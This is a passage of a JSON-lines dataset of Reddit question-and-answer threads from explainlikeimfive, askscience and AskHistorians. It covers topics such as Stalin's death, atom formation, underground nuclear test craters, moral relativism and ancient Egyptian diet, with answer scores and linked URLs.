tangential differences between western and eastern powers (in this case, cultural/political attitudes towards freedom of franchise and expression) that naturally inflame the very closely felt passion for free speech/expression and the vote, particularly in Americans, who by nature and heritage are quite individualistic. These passions are not as closely held or cherished in Eastern nations, where political heritage tends towards paternalism and individualism is seen as unorthodox. In this way, framing the debate as \"democracy vs. autocracy\" was a convenient way to enlist westerners who otherwise might have sympathies towards the potential benefits of socialist practices in an ideological struggle as opposed to an economic one (and also to elide the nominally democratic practices entrenched even in communist nations) that they might not have been as fired up about and in so doing, get people to support domestic economic policy inarguably hostile towards the working class. Not to get all Metal Gear Solid 3, but the cold war was about money, not the flag. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.marxists.org/reference/archive/stalin/works/1936/11/25.htm", "https://www.marxists.org/reference/archive/stalin/works/subject/women/cccp.htm", "https://www.marxists.org/reference/archive/stalin/works/1937/12/11.htm"], [], [], [], []]}
{"q_id": "22way8", "title": "why is important to put oil on a sword?", "selftext": "I understand that it protects it, but from what?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22way8/eli5_why_is_important_to_put_oil_on_a_sword/", "answers": {"a_id": ["cgr06bu"], "score": [3], "text": ["From rusting and oxidization. If metal is in contact with the moisture in the air it will rust."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "rhue9", "title": "Is there any trait or property that Earth lacks that would have made life even more likely to develop on it?", "selftext": "This is possibly a stupid question, but I was reading [this](_URL_0_) thread and a lot of the comments dealt with things that other planets could lack that might make it less likely for life to develop there.  \n\nSo I ask, is there any trait or property that we know of that would have made life even more likely to develop on Earth?  Or are we, as far as we know, truly in the 'Goldilocks zone' where everything is just right?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rhue9/is_there_any_trait_or_property_that_earth_lacks/", "answers": {"a_id": ["c45zn36"], "score": [7], "text": ["We know so little about how life actually started that it'd be mostly speculation to guess at what would increase the odds. That said, here would be some guesses:\n\n * Greater % weight of carbon: more carbon = more organic compounds = greater chance of life starting. This could backfire if you're actually diluting useful organic compounds (nucleic acids, amino acids, etc) with not-so-useful ones (humics, aromatics, etc).\n * More phosphorous: a lot of life's chemistry (D/RNA backbones, ATP, etc) depends on phosphorous, which is a fairly trace nutrient on the Earth.\n * A greater redox contrast: life gets it's energy by shuttling electrons from reduced to oxidized chemicals (i.e. we do it from oxygen to sugars and other compounds). Setting up more pairs of things that can react might increase the likelihood that something will come along to catalyze those reactions. Having a more reducing mantle and a higher UV flux (more oxidation power) might do this.\n * Slightly warmer temperatures: reactions run faster with higher temperatures and more reactions might mean more life? If temperatures are too high, you might trigger a runaway greenhouse, evaporate all your water and end up like Venus though.\n\nBecause we don't know how life forms or what stages it takes to get to something resembling a modern cell, it's hard to say if any of these things would actually promote or hinder life from evolving."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/science/comments/rhcur/10_billion_earthlike_planets_may_exist_in_our/"], "answers_urls": [[]]}
{"q_id": "58yymn", "title": "by what process did the first electrons, neutrons and protons to form into atoms?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/58yymn/eli5_by_what_process_did_the_first_electrons/", "answers": {"a_id": ["d94aso3", "d94btee", "d94essi", "d953mii"], "score": [32, 3, 3, 2], "text": ["Different atoms formed through different processes.\n\nThe lightest atoms (hydrogen, helium, and lithium) were formed immediately after the big bang in a short window where pressures were still high enough to smash these particles together but high energy light had dispersed enough to not blow them apart.\n\nAll elements heavier than lithium but lighter than iron and nickel are formed in the cores of stars.  Pressures and temperatures there are high enough to force light atoms together into heavier ones in a process that releases energy and fuels the star.\n\nEverything heavier than iron and nickel *consume* energy when fused, these atoms only form when massive stars implode under their own weight and briefly crush heavy elements together before destabilizing entirely.", "Basically the Wikipedia articles on the chronology of the universe \n_URL_0_\nand Nucleosynthesis (the process of the creation of the first elements) \n_URL_1_\nare a good start. ", "You might be looking for what [Lawrence Krauss](_URL_0_) describes in his book [*A Universe from Nothing*](_URL_1_).", "In the first moments of the big bang, all the components of atoms - quarks, electrons, gluons (force carrier particles), photons etc were all distributed in a state of matter called the \"Quark-Gluon Plasma\" and had not been formed into stable atomic structure. So at that stage (mere seconds after the BB), the temperatures were so high not even protons and neutrons were able to form. \n\nAs the universe expanded and cooled, the quarks began to align themselves in three's (due to each one having a 1/3 positive or negative charge) to forms protons and neutrons with a positive and neutral charge respectively. Electrons, being negatively charged, were attracted to these nuclei and were able to form simple atoms like hydrogen and helium.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Chronology_of_the_universe", "https://en.wikipedia.org/wiki/Nucleosynthesis"], ["https://en.wikipedia.org/wiki/Lawrence_M._Krauss", "https://en.wikipedia.org/wiki/A_Universe_from_Nothing"], []]}
{"q_id": "6126q0", "title": "why do drive-thru speakers have such poor sound quality compared to phones, tvs, etc?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6126q0/eli5_why_do_drivethru_speakers_have_such_poor/", "answers": {"a_id": ["dfb2sc7", "dfb3oj1"], "score": [2, 25], "text": ["More than likely it's because they don't update the speakers at the same rate we update our phones", "They were installed in 1996 and there's never been a reason to change them.\n\nThey also need to be rugged and survive years of direct weather exposure, sound quality was never the primary engineering concern."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qn9wb", "title": "Is there an optimal body temperature for sleeping?", "selftext": "I know that your body temperature drops naturally when you're asleep.  Is there an optimal body temperature for when you're sleeping?  Is it actually counter-productive to try to keep warm with too much bedding or electric blankets and the like?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qn9wb/is_there_an_optimal_body_temperature_for_sleeping/", "answers": {"a_id": ["c3ywv2l"], "score": [31], "text": ["So, this is a very interesting question, and I thought it had been answered here before, but a brief search turned up nothing and I'm too lazy for a thorough search.  \n\nThere isn't necessarily an optimal ambient temperature for sleep, but ambient temperature is actually very important for sleep, and temperatures somewhat cooler can be helpful.  With regards to onset, research suggests that the drop in body temperature actually helps promote the onset of sleep.  Having a somewhat cooler room allows the body to do this much easier.  Furthermore, if that temperature rises while you're asleep, it can result in nightime awakenings.  However, even if rising temperatures don't wake you, there is some evidence that it can disrupt the normal sleep cycle.  Therefore, temperature is obviously important for optimal sleep.\n\nBut, what is the optimal temperature?  Welcome to the argument.  Short answer is that there isn't one that is universal across all persons.  There is too much variability in human core temperatures, hypothalamic responses to temperature changes, etc.  So, a temperature that is ideal for one person may not be ideal for another.  \n\nHope that helps!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1llzrq", "title": "A TIL told a story of Stalin liking to play practical jokes. The source though has no reference. Is this story accurate?", "selftext": "This is the quote:\n\n\"Despite being a grumpy little man, Stalin was also the man behind the most wicked practical joke ever played. Being a very private man he gave the order that no person should enter his bed chambers on pain of death. Later, while in his chambers he decided to test whether his guards had listened to this instruction. Pretending to scream in pain he called for the guards stationed outside the door. Fearing that their leader was in trouble the guards burst into the room. Stalin had them executed for failing to follow his standing orders. This little prank soon backfired, however, when Stalin suffered a seizure while alone in his bedroom. The guards were too afraid to enter, finding him hours later laid in a puddle of stale urine. He died three days later.\"\n\nThis was taken from _URL_0_.\n\nThe story has no references in it and it seems just like something that would spread quickly through a chain letter. So how accurate is this?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1llzrq/a_til_told_a_story_of_stalin_liking_to_play/", "answers": {"a_id": ["cc0ni10", "cc0osnw", "cc0r2ko", "cc0t6uk", "cc0ts2z"], "score": [83, 179, 33, 9, 15], "text": ["Wikipedia cites this BBC article, which mentions how Stalin had ordered his guards not to disturb his sleep, which led to his late discovery and eventual death. It doesn't say anything about him previously playing deadly pranks on guards, but it does seem to say he poked fun at his guards by daring them to sleep and then letting them sleep.\n\n_URL_0_\n", "Stalin's last days vary in detail from source to source, but it is clear he was left unattended for at least 10 hours after suffering a burst blood vessel of the brain. Robert Conquest's book \"Stalin: Breaker of Nations\" excuses this delay in attention to Stalin's unusual sleeping habits, as he was a notorious night owl, often staying up until 4 or 5 in the morning and then sleeping all day. \n\nStalin dined with a group of party leadership on the 28 of February, including Beria and Khrushchev, leaving them around 5 am. The next day (March 1) guards heard movement around noon, but no one was willing to investigate until 10:30 pm. They found Stalin on the floor unable to speak, but Beria, Malenkov, and Khrushchev held off calling doctors until 8 or 9 the morning after the discovery (March 2). His children arrived the same day. Stalin lingered on until March 5, when he suffered what his daughter Svetlana described as a \"difficult and terrible death\".  In his last moments he raised his hand \"as though he were pointing to something up above and bringing down a curse on all. The gesture was incomprehensible and full of menace\".\n\nThat Stalin was still a threatening figure even on his deathbed is apparent by the reactions of those who witnessed his decline. Khrushchev and others were very grave, while Beria could hardly contain his delight. After all, they were nearly free of the terrible purges that reached even top party leadership. Though when Stalin woke for brief periods Beria was the perfect picture of grief, crying over his dear comrades hand. When the doctors finally arrived they exhausted all measures available, including leeching. However the long delay in treatment had secured his death. There has been a good deal of speculation that Stalin was assassinated, most likely by poison, (Khrushchev certainly believed so at one time) but no concrete evidence has been produced.  It is more likely that Beria and others intentionally denied medical attention and let nature take its course.\n\nThe initial delay in investigating by the guard was most likely due the inexperienced staffs\u2019 fear of retribution for disturbing Stalin\u2019s rest. Nikolai Vlasik, commander of Stalin\u2019s personal guard since the 1920\u2019s, was arrested only a few months earlier on suspected embezzlement. Charges were later expanded to include suspicion of connections to Jewish plotters, fitting in nicely with Stalin\u2019s increasing anti-Semitic purges. This, rather than a case of malicious practical joking is most likely what caused a fear of intrusion by the staff.  The purges reached everyone at every level, regardless of loyalty. Stalin did not seem motivated by humor, but rather solely by cruelty. His Soviet biographer Volkogonov spoke to many who knew Stalin personally and firmly held that for Stalin \u201ccruelty was quite simply an inalienable attribute of his being\u201d.\n\n\n\n_______\n\n\n All quotes and sources come from the book \u201cStalin: Breaker of Nations\u201d by Robert Conquest and from \u201cStalin and the Shaping of the Soviet Union\u201d by Alex De Jonge\n\n(I apologize if I have not formatted everything correctly for this subreddit, this is my first post here.)", "I don't know anything about the incident you mention, but Stalin definitely enjoyed practical jokes and making others uncomfortable. \n\nHe frequently would invite guests over to drink and force strong alcohols on them (intent on hearing secrets or otherwise interesting information) while he would drink wine instead, even going so far as to drink vodka-colored wine to fool people. He also loved dirty jokes.\n\nExample of a small practical joke he would do: putting a tomato on the seat of a Politburo member before they sat down\n\nsource: Robert Service's bio of Stalin, p437 (highly recommended, almost finished reading it now)", "I recommend Simon Sebag Montefiore's book: *Stalin: Court of the Red Tsar*. In detailing his post-war banquets with his closest confidants, the old Bolsheviks would get incredibly drunk in his dacha or government house. Molotov, who liked to wear expensive suits, had to bring a change of clothes because they kept putting tomatoes in them. They had to drain the ornamental pond because Stalin and his buddies kept pushing each other in it.", "Simon Sebag-Montifiore's [Court of the Red Tsar](_URL_0_) tells a number of stories which illustrate this aspect of Stalin's later.\n\nI don't have it handy, but he does detail practical joking being encouraged in Stalin's entourage. Things like putting tomatoes in somebody's pockets, pushing each other in fountains and so on. \n\nIt's a fascinating read - these guys were murdering millions, and sometimes each other, while at the same time they all had to live in the same apartment block together, go drinking, watch movies and play practical jokes. The atmosphere comes across like a a cross between Machiavelli and Kafka set in a frat house."]}, "title_urls": [], "selftext_urls": ["http://www.weirdworm.com/fun-facts-about-dictators/"], "answers_urls": [["http://news.bbc.co.uk/hi/russian/press/newsid_2796000/2796261.stm"], [], [], [], ["http://www.simonsebagmontefiore.com/stalincourtredtsar.aspx"]]}
{"q_id": "8yhx4y", "title": "why underground nuclear test looks like implosion?", "selftext": "[See footage here](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8yhx4y/eli5_why_underground_nuclear_test_looks_like/", "answers": {"a_id": ["e2b1k0p", "e2b1oj4", "e2b2mw1"], "score": [16, 3, 2], "text": ["The underground explosion vaporizes the rock around it, forming essentially a hollow bubble below the surface. The surface and all of the rock above this void then collapse down into the empty space forming what's called a subsidence crater. [This image](_URL_0_) shows how it happens.", "Laws of physics my dear freind. An underground nuclear blast shatters and compacts the rock around and above the test site. Lacking support, If the ground above the blast is shattered all the way to the surface it will fall into the cavity. That is the last thing to happen unless the blast was shallow enough that some of the hot gases can escape through the collapsed debris.  Here ill break it down further:\n\nStage one: Milliseconds after detonation the cavity begins to form.\n\nStage two:The cavity is lined with fused earth. A pressurized cavity is formed by the detonation. Fracturing of surrounding earth occurs.\n\nStage three: Decreasing pressure allows rubble to fill the voids which can migrate to the surface.\n\nStage four: A crater may be formed by the surface collapse( The implosion you see in the video)\n\nSomtimes cavity's are formed without destroying the ground on top sending all force down and sideways.", "The bomb destroys the rock around it, and the surface falls down on the newly hollowed area because there is nothing supporting it."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=S1f6vbiuUt0"], "answers_urls": [["https://i.pinimg.com/originals/56/8e/4b/568e4b5c029ddf07a8db9256752e9f75.png"], [], []]}
{"q_id": "145l5e", "title": "did the Romans actually understand what was causing them so much difficulty in the third century? ", "selftext": "you know how in the third century the Roman empire kept getting invaded because the Romans were too busy infighting, to defend the boarder, which only fueled their belief that the emperor of the the moment needed to be replaced? \n\nyou know how in the third century the money in the roman empire became progressively less valuable because successive emperors were causing inflation by minting too many coins?\n\nwell did any body at the time understand either of those things?     ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/145l5e/did_the_romans_actually_understand_what_was/", "answers": {"a_id": ["c7a38th", "c7a6tt1", "c7a8quz"], "score": [20, 4, 2], "text": ["I'm not entirely sure we all \"know\"  the things you say, suggesting that the premises for your question are open to debate. \n\n**Were** barbarian invasions because of Roman infighting? **Did** this actually lead to the belief that the emperor needed to be replaced? Those are really problematic questions, because they put agency for barbarian invasions not with the barbarians, but with the Romans, suggesting that the empire could have defended itself from invasion indefinitely as long as they just *decided* to do so. This obscures all the dynamism occurring in from central Asia through to Western Europe, where people were in constant motion and frequent conflict. \n\nFurther, who was actually replacing Roman emperors and what was their motivation? It was less often people who felt that barbarian invasions or some other problems needed some new emperor to solve, and more often people who sought power for themselves. \n\nSo, perhaps we might rearrange this questions focus by asking what problems were actually occurring within and around the empire, if and how Romans *perceived* these crises, how they responded, and if these responses reflected their perceptions of crises. That would help us establish firmer premises and would still arrive at roughly the answers you're looking for.", " >   Rome had been besieged and its citizens had been forced to buy their lives with gold.  Then thus despoiled they had been besieged again so as to lose not their substance only but their lives.  My voice sticks in my throat; and, as I dictate, sobs choke my utterance.  The City which had taken the whole world was itself taken; nay more famine was beforehand with the sword and but few citizens were left to be made captives.  In their frenzy the starving people had recourse to hideous food; and tore each other limb from limb that they might have flesh to eat.  Even the mother did not spare the babe at her breast.  In the night was Moab taken, in the night did her wall fall down. (Isaiah 15:1)  \u201cO God, the heathen have come into your inheritance; your holy temple have they defiled; they have made Jerusalem an orchard. The dead bodies of your servants have they given to be meat unto the fowls of the heaven, the flesh of your saints unto the beasts of the earth.  Their blood have they shed like water round about Jerusalem; and there was none to bury them\u201d\n\n >  Who can set forth the carnage of that night?\n\n >  What tears are equal to its agony?\n\n >  Of ancient date a sovran city falls;\n\n >  And lifeless in its streets and houses lie\n\n >  Unnumbered bodies of its citizens.\n\n >  In many a ghastly shape does death appear.\n\n- St. Jerome, Letter 127\n\nI don't have it with me right now, but there's a bunch of laments by our buddy Jer' on the collapse of the Roman Empire. He wasn't a minor figure, either; this is the guy who made the Vulgate translation of the Bible, thus allowing many in the Empire access to Christianity.", "Honestly, we really don't have much literature from that period. To my knowledge, we don't really start getting panegyrics (Pliny aside) until the fourth century, so it is difficult to read the political zeitgeist of the time. Other contemporary political reports are nonexistent, and the best later historical work, Ammianus Marcellinus, has had its first half, which would include the third century, lost to time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2nq4n0", "title": "when we suck in our stomach what's really happening? like are my organs actually moving or is it just air? why would i had so much air in my belly, shouldn't my organs be there, and doesn't air just go to your lungs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nq4n0/eli5_when_we_suck_in_our_stomach_whats_really/", "answers": {"a_id": ["cmftxir", "cmfvesr", "cmfvz8z", "cmg2ozi", "cmg75ja", "cmgrcb1"], "score": [159, 14, 54, 4, 2, 2], "text": ["Your body is full if fluids alongside all of the organs, and yes some of your organs can slide around. When you suck in your gut, you can feel your ribcage expand. Some fluids move up into this area, allowing you stomach to appear smaller. Your organs will slide around a little, but unless you're using a tight corset, this movement isn't going to be drastic.", "This sparks a question in me. \n\nWhen I was young, I would often be chastised by my parents for \"belly breathing\" and even heard it from my teachers that I should be breathing \"from my lungs\". Coach said so.\n\nEven today when I take a deep breath it mostly feels better when I take a deep breath if my \"stomach\" inflates first and my rib cage expands next. It just feels like i can breath more fully and freely when i do this. Am I broken? ", " > and doesn't air just go to your lungs?\n\nI had surgery last month and one of the side effects was having bubbles of air trapped inside my abdominal cavity, outside of my lungs and intestines/stomach. After about a week, they dissipated, but while they were there, they hurt even more than actually having surgery did. There was enough room inside for them to move all around, including up underneath my shoulders, and it was one of the weirdest/most painful things I've felt.", "There's a little experiment for you. Stand in front of a mirror where you can sees your whole torso without a shirt on. Push out all the air from your lungs, as much as you can and a little more. Hold your breath, stand straight and suck your belly in. \n\nYou will see that there's much more sucking in possible than usual. This is because without all the air in the lungs (don't worry, there's still more than 50% air volume in there) your organs have space to escape upwards. ", "You are contracting your abdominal muscles (rectus abdominus are the \"6 pack\" transverse abdominus that are the most deep and run left and right, and obliques \"v muscles\" there are two sets that mirror one another, one up, one down)\n\nYour abdominal muscles help to return blood to your heart. Belly breathing is the best breathing as it allows your organs to move out of the way of your thoracic cavity expansion and get maximum gas exchange and lung expansion. Holding your abdominal muscles still causes a shallower breath but massages the abdominal organs which act as blood sponges which is good for your health in general. ", "When you suck in your stomach your diaphragm is moving up into your rib cage and compressing your lungs. Try taking a deep breath while you have your stomach sucked in and you will find you aren't able to.\n\nMost people seem to think that when you breath in your rib cage should expand to make room for the extra oxygen you are taking in, but in reality you rib cage isn't meant to do that. What actually should happen when you breath in is that your diaphragm goes down into your abdomen and allows your lungs more room to expand. Then when you breath out it goes back up into your upper torso and helps with compressing your lungs forcing the air out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1vxx8p", "title": "why hasn't justin bieber been deported or had his visa revoked with his criminal issues?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1vxx8p/eli5why_hasnt_justin_bieber_been_deported_or_had/", "answers": {"a_id": ["cewu5nw", "cewudm5"], "score": [5, 2], "text": [" >   Is this just a case of celebrity status and money allowing him to do whatever he wants?\n\nYep.", "Minor crimes don't automatically get you deported.  I hadn't heard that he's actually been convicted of anything big (arrested != convicted), but then again I don't follow teenage pop stars."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "h7sjt", "title": "What would weigh the most: all whales, all humans, or all ants?", "selftext": "What would weigh the most if you added up all the whales, all the humans, and all the ants alive on the planet?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h7sjt/what_would_weigh_the_most_all_whales_all_humans/", "answers": {"a_id": ["c1t8vrk", "c1t9n8s", "c1tabh1"], "score": [21, 2, 2], "text": ["It depends on how you measure biomass. Do you mean dry biomass, wet biomass, or number of carbon atoms? Wikipedia has the answer, and you can sort the table in different ways. _URL_0_\n\nAnts have the most wet biomass (of animals on your list), but humans have the most dried out biomass.", "You should check out Krill man....\n\n_URL_0_", "All ants by a large margin."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Biomass_(ecology)"], ["http://en.wikipedia.org/wiki/Krill"], []]}
{"q_id": "dby521", "title": "why is the satellite imagery on google earth lower resolution for some major cities i.e., those with more than ~3m population?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dby521/eli5_why_is_the_satellite_imagery_on_google_earth/", "answers": {"a_id": ["f24qykg", "f24wfp6"], "score": [2, 5], "text": ["In some cities google uses small aircraft to image the surface. Not sure this is the reason but I\u2019d bet it\u2019s better resolution than satellites.", "Because Google satellite imagery isn't actually satellite imagery (in most instances).  It's taken by cameras in aircraft, and major cities have stricter aircraft flight path rules (altitude, actual flight path, etc)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3p47b8", "title": "is morality relative or absolute?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3p47b8/eli5_is_morality_relative_or_absolute/", "answers": {"a_id": ["cw2yj4c", "cw308rn", "cw30id7", "cw37zz7"], "score": [11, 2, 3, 2], "text": ["If it were absolute, then this question would be meaningless because everyone would agree on it. ", "Imagine if we had a totally alien biology and think things through.\n\nTake the most undisputably absolute moral: Murder is wrong. But... What if we were vampires and had to feed on humans to live?  What if we were big Praying Mantis' and had to eat the heads of our partners to reproduce?  What if we were hive or swarm intelligences where killing an individual was like cutting hair or trimming fingernails from the point of view of the swarm?\n\nMorality is relative... but it's relative to our biology, which we can't change, so it feels absolute.", "There's a lot of relativists in this thread. I'll be the outlier. Relativism is cowardly bunk. Child rape is wrong everywhere for everyone absolutely at all times. Putting people into concentration camps is wrong for everyone all the time everywhere on Earth. If we start to believe that morality and ethics are relative we instantly lose the ability to call anything wrong. It would be reasonable and true to counter any moral objection with \"well that's wrong for you in your culture, but in my culture we are perfectly fine with it. Leave us alone.\" \n\nChild sacrifice is morally wrong everywhere. Rape is wrong everywhere. Murder is wrong everywhere. We might disagree on what right and wrong is, but that doesnt mean everyone is right in their own way. It means we need to have a rational discussion because we haven't figured out what the most rational moral course is. No one wants to be the moralist judge who has to be mean and sound bigoted by judging the actions of others, even others in other cultures, but sometimes you need to grow a spine.", "This tread got [removed] before I finished my response, but here it is anyhow -\n\n**\"ELI5: Is morality relative or absolute?\"** *Absolute*. However, there are lots of reasons people mistakenly come to see morality as relative. For one, things that are merely relative social rules are often claimed to be absolute moral imperatives. When mere social conventions are claimed by people to be moral imperatives this can make all of morality seem relative. For example, whether you should shake someone's hand when you meet them or bow to show respect is relative, but that you should respect others is absolute. Some cultures bury their dead and others burn them and then some societies eat their dead, but burial practices really have nothing to do with absolute morality even though people often claim they do. Burial practices are nothing more than a relative social convention like which side of the road a society picks to drive on. By contrast, slavery is wrong absolutely. The actions of serial killers and rapists are absolutely wrong. Stealing needlessly purely out of self-interest is absolutely wrong. But there is nothing absolutely right or wrong about burying, burning, or eating the dead. All sorts of things are claimed to be moral or immoral, many of these claims are mistaken. Once you separate the claims by what's merely social convention and what's actually a moral imperative you'll notice that most of what seemed relative about morality was the social conventions that got falsely mixed in with real morality.  \n\n**\"But people disagree about morality, doesn't that show morality is relative?\"** No, different societies at different times have disagreed about the shape of the Earth and the orbits of the planets but those are absolute matters rather than matters of relative social convention. \n\n**\"But doesn't absolute morality entail an intolerance towards others?\"** No. In fact, presumably being tolerant towards others is an absolute moral imperative. Not to mention that just because morality is absolute doesn't mean that morality is absolutely certain. We should be humble about our moral beliefs and respect the fact that we might be wrong (which is part of recognizing that there is an absolute right answer). \n\n**\"Okay, if morality is absolute, what is it. What are the absolute rule(s)?\"** Well that's hard. There are a lot of specific moral rules that I could tell you (In almost all cases, the following hold true: don't kill people purely for fun, don't lie recklessly and needlessly purely out of self-interest, slavery and rape are wrong) but what's the general rule or rules that underlie my handful specific rule examples? Here are two of the three primary candidates philosophers agree on as our best bets for the correct moral law (by which I mean one or the other, not both): \"Maximize happiness and minimize suffering\" (Utilitarianism) or \"Don't treat people merely like tools\" (Kantian Ethics). While these two rules disagree on a lot of stuff (e.g. should you lie to make someone feel better?), they also agree about much - for example, they agree on all the specific rules I gave at the beginning of this paragraph. There are complicated arguments justifying each of these moral rules as the true moral law, it remains to be settled which is actually correct. \n\n**Further Reading**\n\n* If you are willing to read something slightly longer that takes an \"Explain Like I'm 11\" attitude toward moral relativism, here is something that is geared toward middle schoolers:\n_URL_0_\n\n* You should also check out the entry on \"Moral Relativism\" over at the Internet Encyclopedia of Philosophy, but this is more like an \"Explain Like I'm a College Student\" explanation: _URL_1_\n\n* Lastly, the standard undergraduate reading on moral relativism is by James Rachel's entitled \"The Challenge of Moral Relativism\". It's not legitimately available online, but in Rachel's widely used ethics textbook 'The Elements of Moral Philosophy'. However, if you search around online you can usually find the relativism chapter from Rachel's book posted online. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.atfyfe.com/wp-content/uploads/2014/08/Moral-Relativism-Fall-2014.pdf", "http://www.iep.utm.edu/moral-re/"]]}
{"q_id": "31ro20", "title": "Did women dress up as men during the Middle Ages to participate in crusades and find lost husbands/male relatives?", "selftext": "Recently I finished reading \"Monstrous Regiment\" by the late Terry Pratchett and in this book, a girl who lives in a strictly religious country where women are technically not allowed to own any property decides to join the army when her father dies to find her brother who was declared missing in action during the war that is devastating her country, because she cannot legally take over the bar her father used to run. Problem: women cannot join the army, so she dresses up as a man.\n\nNow I know Pratchett often drew parallels to real-world history, so I was wondering if this happened in other conflicts, more specifically the crusades as large amounts of men were drawn in to fight in the holy wars in the Levant. Did some of these women, upon hearing that their beloved had disappeared, decide to join the war disguised as a man? Is there any record of this?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31ro20/did_women_dress_up_as_men_during_the_middle_ages/", "answers": {"a_id": ["cq4p0on", "cq5wmj6"], "score": [17, 2], "text": ["The crusades were not a male-only enterprise, women went too - many nobles brought their wives, and women were in the army's supply train (as they were in many medieval armies). Furthermore, after the first crusade, there were Christian states for a pilgrim to enter for such a purpose. Accordingly there was no need for women to fight or even cross-dress for such a purpose. ", "There was a Swedish woman who joined the Swedish army in the early 17th century in an attempt to \"find her husband\". She pretended to be a man and was even promoted to sergeant. When they finally caught her being a woman, she got discharged but was still awarded military pension for the rest of her life. \n\nSource: a history researcher at Uppsala university is doing a thesis on her life that I met in a bar. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "25asqt", "title": "Were all the ancient Egyptians mostly vegetarian, or just the higher class and priests?", "selftext": "I read an article on how the ancient Egyptians were 90% vegetarian, but the research was based on the examination of mummies. This is very recent research (which, according to the subreddit's rules, I'm not allowed to ask a question about) but the article also stated that it had long been suspected that their diet was mostly plant-based. Does anyone here know what these earlier suspicions were based on? Because, since the poor were never mummified, research on mummies can only give us evidence on the diet of rich ancient Egyptians. What are some other ways to learn about the diet of a people that lived so long ago?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/25asqt/were_all_the_ancient_egyptians_mostly_vegetarian/", "answers": {"a_id": ["chfhxjh", "chfibz2"], "score": [5, 2], "text": ["Some priests in the upper class may have been vegetarian, although most large temples seem to have kept cattle of some sort on their land.  However, the question is a difficult one to answer simply because it's so broad.  You're talking about a period between 3,100 BC and 600 AD spanning hundreds of cultural shifts and changes, not to mention a few conquests.\n\nHowever, to give a broad answer, if anybody ate meat in Egypt regularly, it was the upper class.  This can partly be inferred from various paintings, we see lots of nobles hunting and fishing, as well as tomb offerings.  I believe there's actually a specific spell in the Book of the Dead to provide the deceased person with meat in the afterlife.\n\nHowever, the poorer folk would have mostly had vegetarian fare, possibly with a bit of fish now and then.  Egypt was a highly agrarian economy through most of its history, so they generally had plenty of grain, onions, lettuce and chickpeas to go around.  There were exceptions to this though.  On some festival occasions we have records of the king providing meat to his laborers.\n\nCertain elite servants, such as royal messengers, are on record as having received fairly lavish rations.  We get this information from various stele, wall carvings and preserved papyri.  The Egyptians were very good about keeping records most of the time, and we have little reason to doubt the pharaohs exaggerated too much when recording the diets of their workers.\n\nIn short, the people of Egypt weren't so much 'vegetarian' as 'opportunistic.'", " >  This is very recent research (which, according to the subreddit's rules, I'm not allowed to ask a question about)\n\nJust FYI, recent research is *not* against the subreddit's rules. Research is being done all the time and it would be a very poor historian who ignored the most up-to-date research.\n\n*Events* that have happened in the last 20 years are off-limits for discussion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cyb9zb", "title": "what were the methods used to discover what we know now in embryology?", "selftext": "Please don't tell me that they kill the f\u0153tus.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cyb9zb/eli5_what_were_the_methods_used_to_discover_what/", "answers": {"a_id": ["eyquww9"], "score": [4], "text": ["While we're waiting for someone with more direct expertise:\n\nI know some folks who work in developmental biology. They do all of their work with different animal models, including frogs, zebra fish, and mice. Their work does involve killing the animals at some point, and many of them have been genetically modified in such a way that they have significant birth defects and would not live long, healthy lives anyway. In general nobody *really* likes doing that (the lab techs have to kill the animals themselves, and it's always a little emotionally difficult) but it's done with as much comfort and compassion as they can provide.\n\nThat said, they also do work with cells that will never grow into a complete animal. The cells end up dying at some point too, but I don't think anybody feels bad about it because they were never going to be an animal.\n\nWork on human anything is extremely tightly regulated and highly politicized, for obvious reasons. My understanding, which could be wrong, is that people are depending on donated specimens from failed pregnancies. I certainly can't imagine anyone in the US giving the green light to a project that required a woman to get pregnant and then abort the fetus."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
